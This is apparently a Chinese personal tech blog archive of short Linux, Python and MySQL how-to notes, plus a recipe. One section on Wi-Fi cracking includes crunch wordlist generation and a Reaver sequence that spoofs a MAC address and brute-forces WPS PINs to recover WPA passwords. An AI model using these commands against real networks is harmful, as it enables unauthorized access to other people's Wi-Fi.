2013年10月29日 星期二

python split string by multiple space

str = '111111      222222      333333'
arr = str.split()
print arr
['111111', '222222', '333333']

Structure Sensor 3D 掃瞄器

* iPad  使用

* 深度感應器、紅外線、紅外線補光燈、電池


* Kincet : RGB camera, Depth sensor, Microphone Array, Skeleton Tracking




Reference :
Structure Sensor 透過 3D 深度感應器搭配相機,讓iPad 變成神奇的 3D 掃瞄器!
Kinect Sensor

2013年10月26日 星期六

dunst shortcut key

    # shortcuts are specified as [modifier+][modifier+]...key
    # available modifiers are 'ctrl', 'mod1' (the alt-key), 'mod2', 'mod3'
    # and 'mod4' (windows-key)
    # xev might be helpful to find names for keys
 
 
 
 
Reference :

python language detect library - chromium-compact-language-detector


透過 Python binding C++ libcld 的函式庫


以前要手動下載編譯,現在可透過 pip 自動執行這步驟
# pip install chromium_compact_language_detector




手動方式:

安裝 libcld
$ cd compact-language-detector-0.1
$ ./configure
$ make
# make install


安裝 python binding library
$ cd chromium_compact_language_detector-0.1.1
# python setup.py install





Reference :
chromium-compact-language-detector - C++ library and Python bindings for detecting language from UTF8 text, extracted from the Chromium browser - Google Project Hosting

LInux ls sort by time

檔案修改時間:
$ ls -lt

Inode 更改時間:
$ ls -ltc

檔案存取時間:
$ ls -ltu

反向排序,較新的在後面
$ ls -ltr




Reference :
How to sort the files according to the time stamp in unix? - Stack Overflow




2013年10月25日 星期五

Fideuá 西班牙海鮮燉麵

Fideuá 是一種西班牙短麵,如果沒有的話可以將天使細麵截斷


燉海鮮麵 + 蒜蓉醬

* 麵要先炸一下,才不會煮成糊糊的一鍋

西班牙燉飯另一章~西班牙海鮮燉麵(Fideuá) @ kate的西班牙小廚房
西班牙洋菇麵 Fideuá con setas @ 安娜和弗列德的廚房
西班牙加菲貓的媽:Fideuá (a la catalana) 海鮮麵(亦寫成 Fideuà)




延伸食譜 :

Fideuá con alioli (西班牙)
Fideua with alioli (英文)
西班牙短麵佐蒜泥蛋黄醬 (中文)
http://etinceler.blogspot.tw/2008/10/fideu.html
http://www.taste.com.au/recipes/14831/fideua+with+alioli

2013年10月24日 星期四

qtile notification daemon

notification daemon 的執行是先搶先贏的,所以在 qtile 執行前先啓動我的 notification daemon

$ vi ~/.xinitrc
dunst &
exec /usr/local/bin/qtile

no dunstrc found -> skipping

Debian : 
$ mkdir ~/.config/dunst/ 
$ zcat /usr/share/doc/dunst/dunstrc.example.gz >> ~/.config/dunst/dunstrc
 
 
Arch :
$ cp /usr/share/dunstrc ~/.config/dunst/dunstrc
 
 
 
 
Reference :
dunst - a dmenu-ish notification daemon (Page 10) / Community Contributions / Arch Linux Forums 

MySQL 全文檢索

bmark -title="MySQL全文检索笔记 - feichexia - 博客园" http://www.cnblogs.com/feichexia/archive/2012/06/09/2543049.html

bmark -title="亞爾文 IT日誌: Mysql全文搜索(Fulltext Search)match against的使用方式 " http://alvin-spaces.blogspot.tw/2013/01/mysqlfulltext-searchmatch-against.html

HTC HD2 刷機

需安裝 ActiveSync


簡單HD2刷android圖文教學

Radio-Leo-2.15.50.14.rar


* 進入 aMAGLDR Boot Menu :
持續按住開機鍵至開機後,開啓後音量鍵上下按會進入開機選單


* ROM 檔案爲整個 .zip 放入 MicroSD 卡即可,不必先解壓縮

2013年10月23日 星期三

Python 產生假文

讀取 "MoreText.js: 一用就愛上的中文假文產生器" 的資料,產生約一千字的內容。
 

import urllib                                                                                                       
import json

line = 10
row = 500

for i in range(0, row):
    fake_text = ''

    url = urllib.urlopen('http://more.handlino.com/sentences.json?n=%s' % line)
    result = url.read()
    sentences_lists = json.loads(result)

    fake_text = ''.join(sentences_lists['sentences'])

    print fake_text
    print len(fake_text)




API :
http://more.handlino.com/api

Python concat string with list

a = ['hello', 'good', 'morning']
print ' '.join(a)




Reference :
Python concat string with list - Stack Overflow

2013年10月20日 星期日

MySQL 使用 bigram 外掛做中文全文檢索

使用 N-gram 演算法處理 CJK 語言的斷詞



安裝
mysqlftppc-bigram/INSTALL at master · y-ken/mysqlftppc-bigram
# apt-get install build-essential automake libtool libmysqlclient-dev git-core
git clone https://github.com/y-ken/mysqlftppc-bigram
$ cd mysqlftppc-bigram
$ aclocal$ libtoolize --automake$ automake --add-missing$ automake$ autoconf$ ./configure$ make# make install
$ mysql -uroot -p -e "INSTALL PLUGIN mecab SONAME 'libftmecab.so';"



建立或轉換資料表支援 mecab parser
http://a0726h77.blogspot.tw/2013/10/mysql-create-full-text-search-table.html



Reference :
y-ken/mysqlftppc-bigram
壞蛋的部落格 » mysqlftppc-bigram 安裝

MySQL 全文檢索外掛 mysqlftppc-mecab 安裝

// 安裝所需套件
# apt-get install build-essential automake libtool libmysqlclient-dev libmecab-dev libicu-dev mecab libicu48 libicu-dev

// 下載 mysqlftppc-mecab
$ git clone https://github.com/y-ken/mysqlftppc-mecab.git
$ cd mysqlftppc-mecab
                                                                                                                   
// 檢查系統設定、編譯、安裝
$ aclocal
$ libtoolize --automake
$ automake --add-missing
$ automake
$ autoconf
$ ./configure
$ make
# make install

// 在 MySQL 新增插件
$ mysql -uroot -p -e "INSTALL PLUGIN mecab SONAME 'libftmecab.so';"

$ mysql -u root -p

mysql> show plugins;

mysql> SHOW STATUS LIKE "Mecab_info";
+---------------+-------------------------------+
| Variable_name | Value                         |
+---------------+-------------------------------+
| Mecab_info    | with mecab 0.996, without ICU |
+---------------+-------------------------------+

mysql> SHOW VARIABLES LIKE "mecab%";
+---------------+-------+
| Variable_name | Value |
+---------------+-------+
| mecab_dicdir  |       |
| mecab_userdic |       |
+---------------+-------+

// 設定 mecab
$ mecab --dump-config | grep dicdir
/var/lib/mecab/dic/debian

# vi /etc/mysql/my.cnf
[mysqld]
# mysqlftppc
mecab_dicdir = /var/lib/mecab/dic/debian

# /etc/init.d/mysql restart

// 可執行測試
$ cd test
$ sh test.sh
ok

// 建立或轉換資料表支援 mecab parser
http://a0726h77.blogspot.tw/2013/10/mysql-create-full-text-search-table.html



Reference :
y-ken/mysqlftppc-mecab
mysqlftppc-mecab/README.md at master · y-ken/mysqlftppc-mecab
Mysqlftppcを入れてみた - まめ畑


MySQL create Full-Text search table with parser

// 建立新資料表
CREATE TABLE t
(
  doc CHAR(255),
  FULLTEXT INDEX (doc) WITH PARSER my_parser
) ENGINE=MyISAM;


// 修改現有資料表將欄位加入全文檢索
ALTER TABLE t ADD FULLTEXT INDEX (doc) WITH PARSER my_parser;


* 需使用 MyISAM 引擎




Reference :
MySQL :: MySQL 5.1 Reference Manual :: 22.2.3.2 Full-Text Parser Plugins

2013年10月18日 星期五

WIFI crack

Aircrack-ng
wifite

Pyrit

Reaver

crunch - wordlist generator

// basic
// $ crunch [options]
$ crunch 4 4 1234 -o numbers.txt
// split
$ crunch 8 8 0123456789ABCDEF -b 2gb -o START  # 2gb per file
$ crunch 6 6 0123456789 -c 200000 -o START  # 200000 lines
// with specific pattern
-t 
@ -- lower case alpha characters
, -- upper case alhpa characters
% -- numeric characters
^ -- special characters (including space)
$ crunch 4 4 1234 -t @11@
1111
1112
1113
1114
2111
2112
2113
2114
3111
3112
3113
3114
4111
4112
4113
4114
// use pre-define charset
$ crunch 6 6 -f charset.lst ualpha
// string permutations
$ crunch 1 1 -p abc
abc
acb
bac
bca
cab
cba
// stop when specifies string
$ crunch 4 4 1234 -e 4411




Reference :
crunch - wordlist generator | Free software downloads at SourceForge.net
Creating Wordlists With Crunch | Penetration Testing Lab
A day with Tape: Creating wordlists with crunch v3.0

Reaver : 利用 WPS 功能從 PIN 獲取 WIFI 密碼



// change to fake mac address

# ifconfig wlan0 down

# ifconfig wlan0 hw ether (fack mac)
or
# macchanger -r wlan0

# ifconfig wlan0 up
// put wireless device into monitor mode
# airmon-ng start wlan0
// find out if the AP you are attacking usese WPS (vulnerable to Reaver)
# wash -i mon0
// find the BSSID of the router you want to crack
# airodump-ng wlan0
// crack the network's WPA password
# reaver -i mon0 -b [bssid] -vv --mac=(fack name)





Reference :
How to Crack a Wi-Fi Network's WPA Password with Reaver
[wireless security]使用reaver顺利通过WPS功能破解WPA/WPA2

HTML image-map

HTML 4.01 圖片地圖  
An image-map, with clickable areas.





SIte Example:


Creator :

編譯安裝 fcitx 輸入法

$ tar xf fcitx-4.2.8.3.tar.xz
$ cd fcitx-4.2.8.3
$ mkdir build
$ cd build
$ cmake .. -DCMAKE_INSTALL_PREFIX=/home/yan/fcitx
$ make
# make install







Reference :
14.2. 安装
Index of /fcitx 

package gobject-introspection-1.0

# apt-get install libgirepository1.0-dev




Reference :
Debian -- Filelist of package libgirepository1.0-dev/sid/i386

編譯安裝 fcitx-googlepinyin

https://github.com/fcitx/fcitx-googlepinyin



$ git clone git@github.com:fcitx/fcitx-googlepinyin.git
$ mkdir build; cd build
$ cmake .. -DCMAKE_INSTALL_PREFIX=/home/yan/fcitx-googlepinyin
$ export PKG_CONFIG_PATH=$PKG_CONFIG_PATH:/home/yan/fcitx/lib/pkgconfig/
$ make
# make install





Reference :
fcitx-googlepinyin/INSTALL at master · fcitx/fcitx-googlepinyin

2013年10月17日 星期四

恢復 ext 刪除檔案

# extundelete --restore-directory home/ /dev/sda1




Reference :
Danny's Blog: How to undelete files from ext3/ext4

由 superblock 恢復檔案

分割區還在,但無法掛載,可能因檔案結構損壞,嘗試由備份 superblock 恢復檔案
// 列出 superblock 位址
# dumpe2fs /dev/sda2 | grep superblock

// 使用 superblock 修復檔案系統 # fsck -b 32768 /dev/sda1


使用特定 superblock 掛載分割區
# mount sb=32768 /dev/sda2 /mnt




Reference :
Linux: Recover Corrupted Partition From A Bad Superblock

2013年10月16日 星期三

d3 tree node 超連結

var treeData = {"name" : "首頁", "info" : "tst", "size": 3938, "url": "/", "children" : [
        {"name" : "佈告欄", "size": 3938, "url": "/bulletin"},
        {"name" : "課程公告", "size": 3938, "url": "/course"},
        {"name" : "會議資訊", "size": 3938, "url": "/meeting"},
        {"name" : "檢定考試", "size": 3938, "url": "/certified"},
]};
 
// 將 node 加入 a 標籤,並取用 url 屬性內容
node.append("svg:a").attr("xlink:href", function(d) { return d.url; })
.append("svg:text").text(function(d) { return d.name; });




Reference :
d3.js Tree: most simple sample | The JavaDude Weblog
Hyperlinks in d3.js objects - Stack Overflow
javascript - d3.js tree structure text links - Stack Overflow

2013年10月15日 星期二

Linux 解壓縮 .zip 亂碼

unzip 已沒有 -O 選項了, 改使用 7z + convmv

$ unzip -O cp936
$ LC_ALL=C 7z x QQQQ.zip -oQQQQ
$ convmv -f cp936 -t utf8 -r --notest -- QQQQ/*



Reference :

2013年10月11日 星期五

mysql copy table

mysql> CREATE TABLE table_2 LIKE table_1;
mysql> INSERT INTO table_2 SELECT * FROM table_1;

mysql> INSERT INTO table1 ( column1 ) SELECT col1 FROM table2  





Reference :
How to clone a table in MySQL - O'Reilly Answers 
database - SQL Insert into ... values ( SELECT ... FROM ... ) - Stack Overflow

2013年10月2日 星期三

Linux 快捷鍵綁定

xbindkeys - Associate a combination of keys or mouse buttons with a shell command


// 產生範例檔案
$ xbindkeys -d > ~/.xbindkeysrc

// get xbingkeys keycode
$ xbindkeys --key

$ xbindkeys --multikey
--- Press "q" to stop. ---

// 使用圖形化方式設定
$ xbindkeys-config


// 自動啓動 xbindkeys (非所有 X 啓動方式適用)
$ vi .xinitrc
nohup xbindkeys &



#Muter/UnMute
"amixer set "Master" toggle"
    m:0x0 + c:121
    XF86AudioMute

#VolumeDown
"amixer set Master playback 5%-"
    m:0x0 + c:122
    XF86AudioLowerVolume

#VolumeUp
"amixer set Master playback 5%+"
    m:0x0 + c:123
    XF86AudioRaiseVolume




Reference :
Xbindkeys - ArchWiki
 

CentOS Mysql 遠端連線

vi /etc/sysconfig/iptables
-A RH-Firewall-1-INPUT -m state --state NEW -m tcp -p tcp --dport 3306 -j ACCEPT


Reference :
How Do I Enable Remote Access To MySQL Database Server?

亮度 backlight brightness

 $ xgamma -gamma .7 
bmark -title="解决ubuntu无法调整和保存屏幕亮度的问题【已验证可行】 - u011364476的专栏 - 博客频道 - CSDN.NET" http://blog.csdn.net/u011364476/article/details/9527201
             GRUB_CMDLINE_LINUX="acpi_osi= acpi_backlight=intel" 
  1. Intel - nomodeset acpi_backlight=intel
  2. Acer - acpi_backlight=acer_acpi
  3. acpi_osi=Linux acpi_backlight=legacy.


pcie_aspm=force i915.semaphores=1 acpi_osi=Linux acpi_backlight=vendor elevator=noop i915.i915_enable_rc6=1 i915.i915_enable_fbc=1 i915.lvds_downclock=1

2013年10月1日 星期二

Debian 安裝 AMD 開源顯卡驅動

支援顯卡列表:
RadeonDriver - Community Ubuntu Documentation



移除已安裝的 ATI 驅動
# sh /usr/share/ati//fglrx-uninstall.sh 
# apt-get purge fglrx*
# apt-get purge xserver-xorg-video-ati xserver-xorg-video-radeon


 

安裝開源驅動:
# lspci -v | grep VGA
# apt-get install xserver-xorg-video-ati  #
which installs xserver-xorg-video-radeon by dependency. 
# apt-get install --reinstall libgl1-mesa-glx libgl1-mesa-dri xserver-xorg-core  #
libgl1-mesa-dri will automatically be installed as a dependency of the xserver-xorg-core
# dpkg-reconfigure xserver-xorg




Reference :
Ubuntu下卸载ATI显卡驱动并还原开源驱动 - 海涛的CSDN博客 - 博客频道 - CSDN.NET 
AtiHowTo - Debian Wiki

Linux 測試顯示卡效能

# apt-get install mesa-utils
$ glxgears






Reference :
Linux / UNIX: Test Graphical Performance ( 3D Acceleration / FPS )

Windows 搜尋檔案存取日期

檢視存取日期 

* 有進行檔案拷貝的動作也會修改檔案存取的時間

* Windows 內建的搜尋只能搜尋修改日期, 用了一個第三方的軟體 SearchMyFiles

SearchMyFiles


* Windows 7 記錄檔案存取日期的功能預設是關閉的,需要將它開啟
1. cmd
> fsutil behavior set disablelastaccess 0
2. 重開機




Reference :
How-To Enable Last Access Time Stamp For Files and Folder In Windows 7

Debian 安裝 AMD 閉源顯卡驅動 (fglrx)

* AMD 官方閉源驅動爲 fglr

* fglrx可以方便的查看显卡的温度,占用,超频,降频等等,电源管理



Ubuntu 官方教學:
BinaryDriverHowto/ATI - Community Ubuntu Documentation

簡單步驟直接安裝:
Debian下安装配置ATI驱动 demo大全




手動安裝:

1. 移除 fglrx 驅動

// 移除 fglrx 模組
# sh /usr/share/ati/fglrx-uninstall.sh

// 移除所有 fglrx 相關工具及檔案
# apt-get remove --purge fglrx fglrx_* fglrx-amdcccle* fglrx-dev*

// 移除 xserver 設定
# cp /etc/X11/xorg.conf /etc/X11/xorg.conf.bak
# /etc/X11/xorg.conf

// 重新安裝 xorg
# apt-get install --reinstall libgl1-mesa-glx:i386 libgl1-mesa-glx:amd64 libgl1-mesa-dri:i386 libgl1-mesa-dri:amd64 xserver-xorg-core
# dpkg-reconfigure xserver-xorg

# reboot


2. 從 AMD 官網下載驅動
# lspci -v | grep VGA

http://support.amd.com/us/gpudownload/Pages/index.aspx

// 如果記憶體夠大可直接在裏面跑
# mount -t tmpfs none /tmp -o size=2000M,remount
# cp amd-catalyst-13.8-beta2-linux-x86.x86_64.run /tmp/
# cd /tmp/

# chmod 755 amd-catalyst-13.8-beta2-linux-x86.x86_64.run
// 解開安裝檔 (需要修改某些東西)

# ./amd-catalyst-13.8-beta2-linux-x86.x86_64.run --extract fglrx-13.8

# cd fglrx-13.8/


// 建立編譯檔案連結, directory of Debian/testing is x710 (packages/Debian/ati-packager.sh line 67)
# ln -s xpic x710

// 將缺少的函式庫放進去
# cp arch/x86/usr/lib/libatiuki.so.1.0 x710/usr/X11R6/lib/
# ln -s arch/x86/usr/lib/libatiuki.so.1.0 x710/usr/X11R6/lib/libatiuki.so.1

// 建立 debian 安裝包, build 完 .deb 檔案會在上一層資料夾
# ./ati-installer.sh 13.8 --buildpkg Debian/testing


// 安裝套件
# cd ../
# dpkg-divert --rename --remove /usr/lib/libGL.so.1
# dpkg-divert --rename --remove /usr/lib/libGL.so.1.2
# dpkg --force-overwrite -i fglrx*.deb

// 如果有套件相依性問題
# apt-get install -f








Reference :
Ati Installer in Lenny - Debian Wiki
Install ATI official drivers in Ubuntu | Ubuntu Technical
Debian User Forums • View topic - ATI Radeon HD6650M amd a4-3300 how to get it work with fglrx
Ubuntu Jaunty Installation Guide - cchtml.com

ati官方驱动(非开源)的安装配置_Linux天空

有靠背金交椅: 整死人的 ATI 顯示晶片驅動程式
AMD(ATI)显卡开源radeon驱动和官方fglrx驱动的那些事